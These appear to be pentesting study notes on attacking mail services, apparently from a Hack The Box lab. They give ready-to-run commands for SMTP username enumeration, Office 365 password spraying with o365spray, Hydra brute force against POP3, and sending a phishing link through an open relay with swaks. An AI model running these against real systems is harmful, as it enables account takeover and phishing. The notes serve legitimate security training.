Skip to content

Attacking SMTP

  • POP3 removes the downloaded emails from the email server
  • IMAP4 does not remove these emails and can be accessed from multiple devices

Enum

  • We can use the Mail eXchanger MX DNS record to identify the mail server

  • This MX server accepts emails on behalf of a domain name\

  • https://mxtoolbox.com/ Host - MX query

  • host -t MX hackthebox.eu DIG - MX query
  • dig mx inlanefreight.com | grep "MX" | grep -v ";" Host - A records

  • host -t A mail1.inlanefreight.htb.\

NMAP Enum

  • sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128

Misconfigurations

  • auth is required to send and receive emails
  • If misconfigured:
  • anonymous auth can be supported
  • enumeration of valid usernames can be conducted

Authentication

  • Commands to enumerate valid usernames - VRFY, EXPN, and RCPT TO

VRFY

  • instructs the receiving SMTP server to check the validity of a particular email username.

EXPN

  • will list the users related to the name
  • Bigger problem than VRFY

RCPT TO

  • id the recipient of the email message
  • You write an email and then do RCPT TO to different usernames to find a valid one

Using POP3 to enumerate Users

Automate Enum process using SMTP-User-Enum

  • https://github.com/pentestmonkey/smtp-user-enum
  • smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
  • -M : method RCPT TO, VRFY, EXPN
  • -D: Domain

Cloud Enum

  • Use https://github.com/0xZDH/o365spray to enumerate office 365

Workflow

  • Validate if the org is using O365
  • python3 o365spray.py --validate --domain msplaintext.xyz
  • Identify usernames
  • python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz

Password Attacks

Hydra on SMTP, POP3, IMAP

  • hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3\

  • hydra might not work with O365, GSuite

  • custom tools such as o365spray or MailSniper for Microsoft Office 365 or CredKing for Gmail or Okta.
  • keep them updated

Password attack on Office 365

  • python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

Protocol Specific Attacks

  • unauthenticated email relay
  • Messaging Servers configured as open relays allow mail from any source to be transparently rerouted through the open relay
  • This masks the real source and shows the source as the open relay server

Open Relay

Check if open relay is allowed

  • nmap -p25 -Pn --script smtp-open-relay 10.10.11.213

Connect to a mail server and send an email

  • swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213